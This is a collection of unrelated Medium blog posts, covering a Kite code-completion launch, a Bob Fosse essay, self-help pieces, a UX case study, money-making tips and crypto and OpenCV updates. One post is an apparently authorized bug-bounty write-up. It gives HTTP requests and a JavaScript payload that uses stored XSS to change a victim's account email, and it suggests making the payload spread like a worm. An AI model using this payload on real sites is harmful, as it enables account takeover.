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Kite Launches AI-Powered JavaScript Completions — Code Faster with Kite | Let’s take a look…
Now let’s break it down…
Kite can complete up to multiple lines of code at a time, reducing the time you spend writing repetitive code.
Kite is able to provide completions when editors like VS Code cannot understand the code.
Kite shows completions in more situations, for example after a space.
Kite works alongside your editor’s completions. We use carefully-designed filters to reduce noise.
We’ve trained a new deep learning model on 22 million open-source JavaScript files to ensure Kite works with your favorite libraries and frameworks like React, Vue, Angular, and Node.js.
Kite for JavaScript is free and works 100% locally. You can download it here .
Kite makes coding faster and easier
The JavaScript ecosystem continually invents new frameworks and design patterns. These inventions make it a vibrant place to be, but it also creates the need to learn an ever-changing set of code patterns and APIs.
Kite’s deep learning models have learned all of these patterns, understand the context of your code, so Kite can predict chunks of code and put them in your completions. This can be useful in two ways:
If you already know what you need to type, Kite helps you jump ahead to the next task. If you’re having trouble remembering an API or design pattern, Kite can remind you so you don’t need to search on Google.
As a result, writing JavaScript with Kite becomes faster and more fun.
We’re just getting started
Kite can help you ship software faster today.
And we’re just getting started. We believe that machine learning can automate away the tedious parts of writing code, and there’s so much more to do. We’re continually exploring ways ML can unlock productivity gains for developers, and we hope that you will join us.
A big thanks to the 250,000 developers who use Kite
We’re thrilled to share today that over 250,000 people are coding with Kite every month . We feel grateful to have reached this milestone, and we’d like to thank everyone who uses Kite. This amazing progress wouldn’t be possible without each of you giving us the encouragement and feedback that fuels the hard work — 30,000 code commits to date — that got us here.
We hope you’ll join us on this journey by downloading Kite!
Happy coding,
The Kite Team
P.S. We are also announcing Kite Pro today, which is our first paid product for Python professionals. Check out our separate blog post about Kite Pro for more info! | https://medium.com/kitepython/kite-launches-ai-powered-javascript-completions-code-faster-with-kite-c2cffc1ecf78 | ['The Kite Team'] | 2020-05-12 17:10:32.334000+00:00 | ['AI', 'JavaScript', 'Deep Learning', 'Python', 'Machine Learning'] |
Account takeover via stored XSS with arbitrary file upload | Account takeover via stored XSS with arbitrary file upload 0xbadb00da Jun 17·5 min read
All the actions described in the article were performed with the permission of the site owner as the part of vulnerability tests.
Requests text was modified with respect to the test subject privacy.
Prehistory
Some time ago I found a suspicious behavior on the file upload to the site. Spoiler: I was not able to exploit it itself but it helped me to focus on this part and spice my findings a bit.
Request:
POST /loadphoto/save HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------35677109542062294861829015033
Content-Length: 131624
Connection: close
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqparentuuid"
4d28538e-7fea-413f-bd70-ad18d53061fc
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqparentsize"
106725
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qquuid"
f7a84d5c-9351-456f-b828-480213b357ca
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqfilename"
photo.png
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqtotalfilesize"
130708
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqfile"; filename="blob"
Content-Type: image/jpeg
<image file data>
-----------------------------35677109542062294861829015033
Lead to creating a temp file on [redacted].com/tmp/f7a84d5c-9351–456f-b828–480213b357ca/607_626_1623277029_1410.jpg
I was able to change the folder name of the temporary file uploaded to the server, the first things I’ve tried were path traversal and XSS via the folder name. The second one worked but the only place where someone was able to see it was my own user’s DM before sending, so I’ve just abandoned this idea.
Utilizing an arbitrary file upload failed at this point due all temporary files were always saved with the hash name and .jpg extension.
Finding the XSS and arbitrary file upload
Meanwhile, I’ve already spent a few days returning to this again and again and that start to drive me nuts so I finally (no idea why I’ve didn’t done that previously) decide to check what can I find about this uploader online and found the server-side example.
Well.. at least it’s supposed to be here.
Screw it, let’s check if someone forked it or just used it as an example, anyway I have no guarantee that the site uses this specific server code, at least I will get the general idea and devs like to reuse the code :)
Hey! Look what I’ve found here
This specific file got my attention, there was a chunk file upload described, which I haven’t tried yet on the site. And what’s really matters (attention to the 3rd mark) it seems that it will upload a chunk without any extension, how the server will handle it if I’ll try to access it directly? Will I be able to do it? So many questions, let’s just check them out.
POST /loadphoto/save HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------314488351313912217284057641047
Content-Length: 1156
Connection: close
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqparentuuid"
803a50ab-d6c6-4823-89ef-95f8abae61a9
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqtotalparts"
2
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqpartindex"
1
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqparentsize"
38775
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qquuid"
takeover_test1
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqfilename"
1 (lage).PNG
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqtotalfilesize"
39907
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqfile"; filename="blob"
Content-Type: text/plain
<html><script>
alert("wow")
</script></html>
-----------------------------314488351313912217284057641047--
Trying to open it in the browser..
BOOM!
It worked! I’ve tried to inject some PHP code as well (some servers will handle the extension-less files as the php scripts sometimes) but it failed.
Never mind, let’s stick with what we have, that’s really a good start already.
What do you think about creating the link [redacted].com/tmp/secret/1 ?
Or maybe we want to include some of our victim data in this path to make it even more tempting? Sounds neat.
We can create a fake auth page requesting the creds or do something else, but let’s finish with the account takeover.
Account takeover
Here is how the profile update looks like:
POST /person HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 265
Connection: close
Form%5Bname%5D=Jhon&Form%5Bage%5D=100&Form%5Babout%5D=Awesome%20guy
Basically, we can change everything we see on the screen except for one parameter — email. Can we change it via custom request?
POST /person HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: close
Form%5Bemail%[email protected]
BOOM! [2]
Seems we don’t need to even fake the auth form :) Let’s craft the final POC request and check it.
Here is uploaded file internals:
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "/person", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("Form[email]=
alert("email changed")
</script></html> var xhttp = new XMLHttpRequest();xhttp.open("POST", "/person", true);xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");xhttp.send("Form[email]= <a href="mailto:[email protected]" class="dy le" rel="noopener ugc nofollow">[email protected]</a> ");alert("email changed")
Opening the page
Let’s check our profile now
The only thing we have left to do after the victim will visit the link is to reset the password to the mail we’ve changed.
The payload can be improved to send the link to all the contacts the victim has so it will become worm-like, with our own email server we can also generate random email addresses on our domain and notify us as soon as anyone’s email was changed successfully.
Keep your chunks safe and thank you for reading! | https://medium.com/@0xbadb00da/account-takeover-via-stored-xss-with-arbitrary-file-upload-2774ec6cff51 | [] | 2021-06-23 15:32:19.441000+00:00 | ['Pentesting', 'Xss Attack', 'Infosec', 'Account Takeover', 'Bug Bounty'] |
All That Jazz: The Filmography of Bob Fosse | When looking at the history of American Musical Theatre, Bob Fosse is one of the most influential figures. Fosse pushed the boundaries of dance as a storytelling tool. He gained success on Broadway right when the theatre landscape was changing. While choreographers Jerome Robbins of West Side Story and Agnes de Mille of Oklahoma! created groundbreaking dance numbers influenced by ballet, Fosse’s choreography was rougher around the edges. Fosse was interested in the grit and grime of the burlesque halls, and his choreography represented that. During the 1950s and 1960s, as Fosse rose through the ranks, he wanted to mix the techniques of high art and low art.
Even though he is a massive figure within the Broadway pantheon, Fosse’s film career has gone mainly unnoticed over the years. While his contemporaries like Francis Ford Coppola, Robert Altman, Steven Spielberg John Cassavetes, Peter Bogdanovich, and Stanley Kubrick have been discussed and analyzed for years, Fosse rarely is mentioned with them. Since he died in 1987, Fosse’s theatre work and influence have greatly overshadowed his masterful work as a filmmaker.
A young Bob Fosse
Bob Fosse was born in 1927, and the fifth of six children within the Fosse family in Chicago, Illinois. According to Sam Wasson’s biography, Fosse, Fosse’s father was a failed third-rate vaudevillian turned Hershey’s traveling salesman. His mother stayed at home and ran the household. Fosse was a product of the Great Depression, growing up during one of America’s lowest points. He started attending dance classes with his sister at a young age, and he progressed quickly.
By the age of eleven, Fosse’s dance teacher managed a dance duo that included Bob Fosse and one of his other male classmates. They were called The Riff Brothers. Fosse spent his adolescence performing at dark and dingy burlesque halls, some occasionally managed by local gangsters. During the Depression, burlesque halls were not the lavish shows they once were, they were more like strip clubs. The characters that inhabited these locales would be present throughout the majority of Fosse’s directorial career, both on stage and in film.
Bob Fosse’s dream was to become Fred Astaire. Early on in his career, he had a brief stint as an MGM-contract player, but after only a few lackluster appearances, Fosse left Hollywood for New York City. With help from his second wife, popular Broadway star, Joan McCracken, Fosse landed his first job as a Broadway choreographer in The Pajama Game. He would receive a Tony Award for his choreography, the first of his record eight wins for Best Choreography.
From Left to Right: Dustin Hoffman, Bob Fosse, and Liza Minnelli (Courtesy of Everett Collection)
Within a decade, Fosse would transition from Broadway choreographer to Broadway director, directing such musicals as Redhead, Little Me, and Sweet Charity, which starred his third wife and trusted collaborator, Gwen Verdon. Fosse and Verdon married in 1960, and she would be considered by many as his creative equal. The recent critically-acclaimed FX television series, Fosse/Verdon, starring Sam Rockwell and Michelle Williams, showcases the important and tumultuous relationship between Fosse and Verdon.
After the success of Sweet Charity on Broadway, Universal Pictures bought the rights to the musical, allowing them to make a film adaptation. They cast Shirley MacLaine in the title role, who was one of the most popular actresses at the time because of films like The Apartment and Irma La Douce. MacLaine wanted Fosse to direct the film version of Sweet Charity because she originally worked with him on The Pajama Game on Broadway as the lead actress’s understudy before she gained success as a film actress. She was discovered by producer Hal B. Wallis (Casablanca and The Maltese Falcon) when MacLaine took the stage one night for the injured lead actress of The Pajama Game. Universal Pictures agreed to MacLaine’s demand, allowing Fosse to make his directorial debut with a lavish, big-budget Hollywood musical.
Sweet Charity (1969) | https://medium.com/cinenation-show/all-that-jazz-the-filmography-of-bob-fosse-5e0ceedc43d8 | ['Brandon Sparks'] | 2020-07-09 11:42:42.016000+00:00 | ['Movies', 'Theatre', 'Film', 'Directing', 'Musicals'] |
A Love Note From my Soul to my Ego | Photo Credit: Adrianna Calvo
I know that all you’ve ever wanted are love and monetary abundance for a sense of stability, but you need to understand that the universe is sending you unquantifiable, unconscious pain towards your most vulnerable chakras as a signal to change your mentality. The universe does love you. We’re being guided to a better life. It’s true that we cannot yet see what our new existence will be like, but we must have faith in the process. We’re the lucky ones, my friend. This happening at such a young age means we could live in the light for longer than many other people who must watch their physical bodies literally disintegrate before acknowledging that their societal status means nothing in the bigger picture. Your horrible underlying beliefs are suffocating your confidence and inner beauty, though. For example, I hear you say things like, “there’s no way that girl would ever like me” or “I’ll never receive love or monetary abundance without a college degree”. It’s as if you’ve thought these ideas into existence. Life is like a beautiful woman, and this spiritual awakening process is like her smiling at us and holding out her hand. If you regain control over our body and slap her gentle hand away (like you’ve done with other human girls before) because you’re so uncontrollably afraid of defeat, then that’d be the coup-de-grace of your foolishness. I can see that your traumatic childhood has prompted you into becoming a great actor who’s chosen the role of an anxious, depressed guy who gives off negative vibes. And even when girls do show interest in you, you have tended to push them away, sometimes even when you really do like them. Go ahead and think about the handfuls of girls we’ve pushed out of our life over the years.The sad part about this is that you’re actually so physically gorgeous, but your self-absorbed, hateful nature sends ugly vibes into the atmosphere, and other people can sense those bad vibes. It’s understandable because your parents bombarded you with truly horrible pain throughout your entire childhood. Your parents should be ashamed of themselves, but I need you to break out of this cycle of negative thought patterns. All that happens is you reconfirm your underlying beliefs by not getting what you want, and you deal with both physical and emotional pain as a result. The universe isn’t punishing you; the universe is actually trying to help show you the illogical pain you inflict upon yourself. You’re actually very lucky. The universe will give you everything you want, but you must first overcome your horrible underlying beliefs. If you become the version of yourself that you were meant to be, love and acceptance will find you in time. Every ounce of our consciousness will be loved — even the negative tendencies that so many people would shield off from others. Your higher vibration will prompt the universe into shuffling the pieces around and setting you up with a girl who really connects with you at a spiritual level. It really will happen if you let it. Imagine how you would feel if you tore down the belief stating “no one will ever love you”, that your mother cruelly hammered into your fragile mind at a very young age. Imagine how you would feel if you didn’t believe that you needed a college degree in order to attain monetary abundance, and that monetary abundance is the only ticket to true love. You’re already so pretty and when you genuinely smile it’s beautiful. You will get everything you want. There’s no need to dim your own brightness with disempowering beliefs. This spiritual process, The Dark Night of The Soul, is a gift. You’re one of the few. One of our spiritual teachers calls it a “winning lottery ticket”, and to cash it in, you must mentally adapt to the pain you’ve been given. Trust the universe and your own actions and thoughts. Everything happens perfectly for you, whether it’s “good” or “bad”. You will attract your true passion and money. You will. “You’re safe and you’re set”, as our friend told us repeatedly. You’ve been chosen to be helped by the universe now. Your life will change for the (so much) better. There’s no need to doubt. All of your overwhelming doubt is disempowering all of your natural brilliance as a human being. Just let go. The more you allow yourself to trust in every single tiny detail of this perfect simulation, the more good luck will be attracted to your consciousness. Become the scriptwriter, actor, and audience at the exact same time, and life will take you further than you ever imagined you would go. | https://medium.com/@lpastor631/a-love-note-from-my-soul-to-my-ego-a7d661ab899 | ['Lou Pastor'] | 2020-12-20 08:49:11.837000+00:00 | ['Spiritual Growth', 'Love', 'Love Yourself', 'Consciousness', 'Spirituality'] |
Mind — A Subtle Part of Our Existence | Life is impossible without thoughts. The moment a person is brain dead and the thinking process of a human being ends, then everything comes to a standstill. It is the mind that creates thoughts that lead to feelings and then actions. If we truly want to live, we must understand the ‘mind’. What is the mind? It is a thought factory. It is constantly producing thoughts. It produces one thought practically every second and this can sometimes be up to 50,000 thoughts a day.
While we are all aware of our mind, have we ever seen it? The Mind seems to exist. It worries and it wanders. But where is the mind, we cannot find. While it is commonly believed that the mind is in the brain, or is a part of it, thoughts appear to us from every part of the body. Our 5 senses trigger thoughts and thus, even if our toe steps on a moving creature, the mind triggers a thought. It seems that all the neurons and the sense receptors of our body are connected to the software — the mind. The mind is both positive and negative. It creates thoughts that are both productive and destructive, and this depends on the raw material that we feed our mind. If we feed the mind with NEP — Negative Energy Poison, then it will produce poisonous thoughts. Some of the NEP emotions are fear, worry, anxiety, hate, revenge, jealously, and anger. Instead, if we feed our mind with positive emotions like courage, confidence, optimism, enthusiasm, faith, hope, compassion, and love, our mind will produce PEP — Positive Energy Power that will produce positive thoughts. Therefore, we have a choice to control what we think, although most of us are unaware of how our thought factory works.
We also have another invaluable weapon which is the intellect. While most people think that the mind is the subtle part of our body and different from our hands, feet, and head which is our gross body, we do not discover that the subtle body is made up of 4 different entities: the Mind, Intellect, Memory, and Ego. The intellect is the tool to discriminate thought. It is a gift that only human beings are blessed with and it facilitates us to choose as we differentiate good from bad, the myth from the truth.
Therefore, while the mind often jumps like a monkey from one thought to another. It has a habit of jumping into a past that is gone, and a future not yet born. The mind can sometimes be a rascal as it produces aggressive thoughts that create stress and anxiety for a human being. It is the intellect that can stop such thoughts from becoming feelings that will make us regret and worry and live with anxiety. Those reading this for the first time may be surprised because they have always thought that the mind is King, it is everything! Unfortunately, they have confused the mind with the intellect. Therefore, while the mind is a very important aspect of our life, unless it is reined by our intellect, it will gallop with the 5 horses of our senses and become uncontrollable. It is only a properly disciplined and controlled mind that can think right and lead us to our destination.
A human body needs both hardware and software to live. If the body had no mind, we would limp. And if the mind did not have the body, we would not perceive it. But because of the subtle nature of the mind, the world today questions the existence of the mind. We can look at a mirror and see our eyes, nose, ears, hands, and feet. We can even take an X-ray and see our heart, kidneys, and brain, but has anyone seen a picture of the mind? We human beings do not doubt the existence of our mind.
Not only does the mind make us act when we are awake, it also causes fantasies and nightmares when we sleep. This is supposed to be the subconscious mind that doesn’t even sleep when the body does. If we want to make the best of our life, we must learn to control the mind. We must make the monkey mind into a monk. Then we can introspect and contemplate life, as we live with peace, joy, and bliss. | https://medium.com/@airatmaninravi/mind-a-subtle-part-of-our-existence-240ef8e9e77a | ['Realize The Truth'] | 2020-12-09 10:46:49.809000+00:00 | ['Peace', 'Life', 'Mind'] |
Editorial Design with Tolu the Creative | Brief
As the weeks pass and I keep on keeping on this IronHack UX/UI sprint the time has come to be tasked with another real world problem to solve.
Challenged by IronHack to design a responsive online platform for a magazine, newspaper, or blog directed to meet the needs and goals of a User Personas. Given the blessing of being able to work with a partner I immediately sprung up to ask one of my favorite designers of the course. Brooke Wertman, a fellow rookie designer I worked with in a previous web design challenge. She has been one of the biggest assets I’ve been gifted in this experience and I knew we would work well together. This Case Study will showcase how we worked harmonious together to create the fresh, vibrant and edgy blog Vault based of a specific user persona Tolu the Creative.
User Persona
Meet Tolu the Creative! Tolu is an artist and part time barista who loves to connect with people (and aliens if they want to) all around the world. She is a voracious reader, and reads everywhere, and anywhere. Some of her favorite reads include Vice, Rolling Stone, and Man Repeller. Tasked with creating a blog suiting her interests and her needs this is how Vault was born.
Define
Using Tolu’s favorite reads Vice, Rolling Stone, and Man Repeller as research guides helped us jump right into solving this challenge. Closely examining the feature of each website allowed us to better understand the audience each of the sites draw and how the design keeps the user coming back for more.
Feature Comparison
Minimalist- Although each site covers distinctly different content each of the designs have similarity when it comes to minimalism. Clean high quality images with simple but jarring text fonts, black and white background keeps the user focused on the content.
Clean Design- All of the websites are designed with the goal of making information easy for the user to digest all while intriguing them to continue reading. The key features of each of the websites are scrolling horizontally and vertically.
Striking Article Titles- The key to keeping the user’s attention is creating interesting titled articles paired with thought provoking images.
Market Positioning Map
Market Position Map
When analyzing each brand closely we divided and measured them by diversity of topics of the articles on the website and the age group they were most likely marketing to. This helped us gauge our scope on what kind of articles we wanted to market based of millennial interest. We wanted Vault to be a representation of millennial aesthetic but also provide content that can be enjoyed by both young adults and a mature audience.
Ideation
While brainstorming we came up with these concepts in order to create a clear and enjoyable design for Tolu.
Simple color palette of black, white and yellow or black, white, grey and yellow.
Focus on topics specific to age group (ex: climate change, student loans/finances, food, entertainment)
Site should convey authenticity and transparency.
Sit should have the ability to create an account and save articles for later similar to instagram or youtube
After brainstorming we used the MOSCOW method to prioritize the features from most wanted to least wanted.
Moscow Method
MVP Statement
The website will have a simple, clean logo, color palette and design format, which will remind users of the experience of using streamlined social media.
Users will have the ability to engage with content in a variety of ways, directly on the site, including audio and video content
Sitemap
To define the information architecture of the website, we put together a site map.
Here defined the sub-sections and how the menu would be distributed in terms of the main content buckets.
User Flow
When creating the user flow we took into consideration one of Tolu’s core needs, which is to have a blog that allowed the user to create a profile so that she can favor and read articles later.
We started the User at the Homepage, from there they would log into their account, the page would redirect the user back to their profile, the user would then select the heart icon to access their favorited articles.
Wireframes
After ideating and research it was time for the fun stuff! Me and my partner enjoyed this process the most. We started with concept sketching to start the design process and help flesh out the layout of our site.
Concept Sketching
Using our concept sketches we fleshed out our Mid-Fi wireframes so that we could test our design with real users.
Mid-Fi Wireframes
Usability Testing Results
After testing 5 users ages 20–27 here some key takeaways from the testing
“I would like to be able to organize the favorites into folders.”
“When I login I expect to be back at the home screen or my previous page, not at my profile page.”
“I normally expect one large featured story on a news site, to capture my attention.”
“Time categories seem too brand specific for new users. Quick Reads is easy to understand but… Deep Dives might need to be renamed.”
Design
Brand Attributes & Mood Board
Brand Attributes
Youthful
Curious
Activist
Conscious
The mood board was created with images that convey our brand attributes. Warm yellow tones complimented with cool green tones to give the site a edgy yet comfortable feel. The mood board was shared amongst the other students in the class.
Style Tile
Feedback they provided on the Desirability Testing | https://medium.com/@xaviergrullon95/editorial-design-with-tolu-the-creative-764e846a7997 | [] | 2021-06-17 01:29:15.025000+00:00 | ['Ironhack', 'UI Design', 'Ux Writing', 'UX', 'Uxui Design'] |
The data visualizations that helped us understand 2020 | In a lot of ways, 2020 wasn’t great. The daily news cycle was a constant barrage of bad news about the pandemic, politics, and social justice issues. But, in my continuing effort to see some kind of silver lining in this year, I can say there were some pretty cool data visualizations that helped us understand how things were going.
I likely missed a few good ones, but here are some of my favorite data visualizations and charts of the past year, in chronological order:
COVID-19 Dashboard — Johns Hopkins University
This dashboard contains all global COVID-19 cases within a single, simple view. As the virus began appearing in the United States in early 2020, my teammate at work would have this dashboard open on a monitor every morning. By late February, more red dots were appearing, and it began to look like the virus was about to explode in the US much like it was doing in Europe at the time. | https://uxdesign.cc/the-data-visualizations-that-helped-us-understand-2020-6447790f821 | ['Kevin Zimmerman'] | 2020-12-14 04:45:33.498000+00:00 | ['Data Visualization', 'Visual Design', 'UX', 'Design', 'Data Science'] |
5 Ways To Make Money Online Earning $1000 Every Month | 5 Ways To Make Money Online Earning $1000 Every Month
Photo by Viacheslav Bublyk on Unsplash
Are you looking for ways to make $1000 or more online every month? Do you want to start a side hustle business and earn extra income while still keeping your 9–5 job? Or maybe you are interested in making passive income online while you sleep?
Whatever your reason is, making your first $1000 online can be fascinating and intimidating at the same time. However, I can confidently tell you that there are several possible ways to make your $1000 every month even while you sleep.
1. Sell Your Photos
You are capable of making money online by selling your photos as a professional photographer. Don’t waste your time anymore taking pictures. Make money from them by selling to individuals and companies who use images for their projects.
One thing about this is that you can sell your photos many times without limitations, and you will continue to make money with little to no effort.
There are quite several photography websites to submit your photos to start making money online today. They include Shutterstock, Getty Images, Photoshelter, etc.
2. Start Drop-shipping
One of the most popular ways to make money online is through drop-shipping. This is where a third-party company handles the inventory management and shipping process for you.
And the only thing you do is place the order on behalf of your customers and set the price for them. It only involves three processes.
You place an order on behalf of your customer. The manufacture ships the items directly to your customer. And the customer finally pays you the money for you to pay the manufacturer.
You don’t have to buy the products in bulk and hope to sell them for profit. Neither do you have to handle packaging, shipping, and delivery costs? You can start selling on platforms like Amazon and eBay. Oberlo, AliExpress Dropshipping, etc.
3. Create a Money-Making Blog
Did you know you can start making money online blogging about your life? And even better, you can blog about what people are searching for online to solve their problems.
I must admit that blogging is one of my best ways to make money online when considering ways to make money from home. It gives me the freedom I need and more time to spend with my lovely family.
If you want to start a blog, Identify your area of expertise, niche, or skills you can share with others, you could be solving their problems. Focusing on a particular topic is the best way to build a trusted brand everyone would come to for information.
Here are several proven ways to make money blogging.
Google Adsense
Affiliate marketing
Selling your own physical or digital product
Sponsored posts
4. Tap Into the E-Book Business
One of the easiest ways to make money online is writing and publishing an e-book. Are you an expert on a topic? Or do you have a skill people are searching for? Writing an e-book on those popular topics is a comfortable way to start this side business and earn passive income.
And if you are looking for ways to make money working from home, I would advise that you create an e-book on topics your audiences are interested in.
You can find good writers and designers on Fiverr or Upwork to professionally take care of them so that you concentrate on your day job.
The easiest way is to find a book that has been published in print and license it. Then convert it into an e-book. There’s only one thing to sacrifice that I consider normal. You will have to pay royalties. Your e-book business can be done as a side gig or full-time job.
5. Build an e-Commerce Website
According to Statista, in 2020, retail e-commerce sales worldwide amounted to 4.28 trillion US dollars, and e-retail revenues are projected to grow to 5.4 trillion US dollars in 2022.
Online shopping is one of the most popular activities on the internet. So selling products and services online is one of the best ways to make money online in recent times.
Ensure you have a well-defined niche for your business. Research to find out trending products to sell online for maximum return on investment. You can choose to create your own e-commerce platform or sell on a popular e-commerce platform.
Here are some of the best e-commerce platforms to sell your products or services online:
Shopify
Woocommerce
Zyro eCommerce
What are you waiting for? Get started making $1000 online today.
I Appreciate You. | https://medium.com/writers-blokke/ways-make-money-online-earning-1000-every-month-e5d12de287b2 | ['Abdul Rashid Sani'] | 2021-09-05 09:13:51.146000+00:00 | ['Motivation', 'Money', 'Side Hustle', 'Make Money Online', 'Life'] |
DotMarketCap Launches, Featuring Reef Chain and Polkadot Ecosystem News | DotMarketCap, a website focused on projects surrounding the Polkadot ecosystem, recently launched, giving Polkadot users information on their favorite Polkadot and Substrate-based projects, including Reef Finance’s Reef Chain.
DotMarketCap allows users with Polkadot/Substrate wallets to connect to the dApp to track their portfolio, and view Projects under two headings: Tradable, and Ongoing.
Reef Finance’s Reef Chain is featured under the Tradable category, and we’re happy to say that, alongside Polkadot’s native DOT token, Reef is the Fourth project on the list following Polkadot, Kusama, and Chainlink.
DotMarketCap also allows you to access parachain auctions, events, their blog, and your portfolio if you connect your wallet. And of course, it wouldn’t be complete without night mode/dark mode, which is also featured.
Reef Finance would like to extend our congratulations to the team behind DotMarketCap on the launch, for putting together an easy to use user interface, and for featuring ecosystem news alongside their own information. | https://medium.com/reef-finance/dotmarketcap-launches-featuring-reef-chain-and-polkadot-ecosystem-news-b000de21616c | ['Derek E. Silva'] | 2021-09-01 13:17:18.995000+00:00 | ['Substrate', 'Polkadot', 'Web3', 'Reef Finance', 'Defi'] |
Setup OpenCV for python in any platform. | Photo by Hitesh Choudhary on Unsplash
Setting OpenCV for python is piece of cake. Are you fed up with lots of tutorials. Let’s do it within 5 minutes.
First what we need is a virtual environment. venv is using for this tutorial and you can use any other tutorial as you preferred.
First let’s set up an virtual environment.
python3 -m venv virtual_environment
Then activate the virtual environment as follows.
source virtual_environment/bin/activate
Once the virtual environment is activated its’ name should be shown in brackets as in the third line.
Then install the OpenCV using one command. What using one command. Yes!
pip install opencv-python
Done!.
You can use OpenCV inside the virtual environment and you can install any other python packages also. | https://medium.com/@yashodgayashan/setup-opencv-for-python-in-any-platform-67d4ddde28c6 | ['Yashod Perera'] | 2020-11-03 04:23:27.596000+00:00 | ['Opencv In Ubuntu', 'Opencv Python', 'Opencv Virtual', 'Opencv', 'Opencv Mac'] |
Gear Monthly Updates: December 2021 | The end of the year has been a very remarkable period for Gear. We finally announced that we had raised $12 million in a private investment round led by Blockchange Ventures. In addition to Blockchange, other top venture capital funds who participated in this round include: Three Arrows Capital, Lemniscap, Distributed Global, LAO, Mechanism Capital, Bitscale, Spartan Group LLC, HashKey, DI Ventures, Elysium Venture Capital, Signum Capital, and P2P Economy lead by Konstantin Lomashuk, along with several top executives of Web3 Foundation and Parity Technologies, including its founder Gavin Wood.
Other important milestones reached in December were mainly technical improvements to the Gear platform. The changes are as follows:
We added a program_id() function to gstd, which returns the program’s identifier. It can be used where the program wants to store funds, like fungible-tokens for itself.
New message processing logic with core-processor has been implemented.
This migrates current processing to the new logic of processing messages with a functional approach, and includes message journaling. This allows us to use multiple methods to execute core logic in different environments (collator, validator, and cumulus setups).
We have enabled a mechanism for the network maintainers (a.k.a. validators) to charge fees for the network’s resource usage. In particular, having a message stuck in the Wait List will cost the original sender a certain per-block fee. Furthermore, external users can participate in this game by keeping track of the WaitList state and suggesting those messages which have stayed there longest, thereby increasing the overall efficiency in terms of collected rent per message, in exchange for a portion of the total fee.
We added a submit_code call. This allows committing actors to the chain to be instantiated later from other actors.
In December we saw strong growth of the Gear community around the world. Following our series of educational events in both the US and Russia, we held another workshop at the Bauman Moscow State Technical University and two online workshops for the Chinese community. We outlined the benefits of our technology and demonstrated how to deploy smart contracts on the Gear platform.
According to tradition, before New Years is a good time to reflect on the achievements of the year, so we also would like to share a small summary of what we accomplished during 2021.
Since our GitHub became public in August, we reduced block time and the process queue at the end of a block. We replaced the procedure of handling the message queue to something more similar to what will be used in production mode. Messages are handled immediately; in other words in the same block, and they are submitted to the message queue (if the block gas limit is sufficient). Block time was also reduced to one second. As a result the latency of the network theoretically goes down (improves) by a factor of 18x.
In September, we made changes to the process of obtaining Metadata. In October, we wrote our custom Asynchronous Mutex, which allows programs to exclusively lock specific data and ensure it is not mutated by other messages while locked. Along with Asynchronous Mutex, we wrote Asynchronous RwLock — a reader-writer lock that allows more fine-grained async data locks.
Tree structures have been valued for the (future) gas spending algorithm, which isa step towards a self-consistent gas economy where gas associated with the message is always preserved. This was one of the milestones from our November report.
The growth of the community has played an essential role in 2021. In October, we launched our website with a new design and user-friendly interface. We held seven workshops and various MeetUps. Three workshops took place in Russia and one in the USA. The other three events were held online: the first was for students from the Computer Science and Engineering Society of the University of California San Diego. Another two were held for the Chinese community. So far, we have held five successful AMAs with our CEO and Founder, Nikolay Volf, hosted by PolkaWarriors, PolkaWorld, the famous Turkish influencer OrientusPrime, and Russian YouTube channels Cryptovo and ProBlockchain.
If you would like to learn more about Gear’s development in 2021, you can keep up with our monthly reports on Medium.
We would like to thank our fantastic audience who participated in all our events during the year, and we hope to see you again in 2022! More great things are coming, and we cannot wait to share them with you! We wish you all a Happy New Year!
Sincerely,
The Gear Team | https://medium.com/@gear_techs/gear-monthly-updates-december-2021-41097fe7748e | ['Gear Technologies'] | 2021-12-30 12:35:53.710000+00:00 | ['Smart Contracts', 'Polkadot', 'Polkadot Network', 'Blockchain', 'Blockchain Technology'] |
How Instagram Queen Makes $1M In A Day With This 1 Ecommerce Hack | Photo by Austin Distel on Unsplash
Gretta van Riel
15 Million+ Followers on Instagram & Counting, at the tender age of 25, she skyrocketted from zero dollars in revenue to $600,000 in under six months.
Gretta breaks down the different strategies to uncover your ecommerce brand — whether you choose to work with an agency or do it yourself.
She’ll cover The Four V’s (vision, values, voice, and visuals) as well as brand positioning and unique value propositions (UVPs).
If you want to know more about how to strategically position yourself and your business, and have customers flock to you instead of having to chase them, I have a FREE report of 8 ways you can do that.
Click here to get it for free before it gets taken down. | https://medium.com/tape-your-time/how-instagram-queen-makes-1m-in-a-day-with-this-1-ecommerce-hack-26b5c1087b49 | ['Joel Ong'] | 2019-11-06 04:01:02.146000+00:00 | ['Grettavanriel', 'Marketing', 'Busineß', 'Ecommerce', 'Instagram'] |
How can you find the top Flutter app developers in New York? | How can you find the top Flutter app developers in New York? Alyssa Jerrald Jun 8·2 min read
Flutter App Development Company in USA
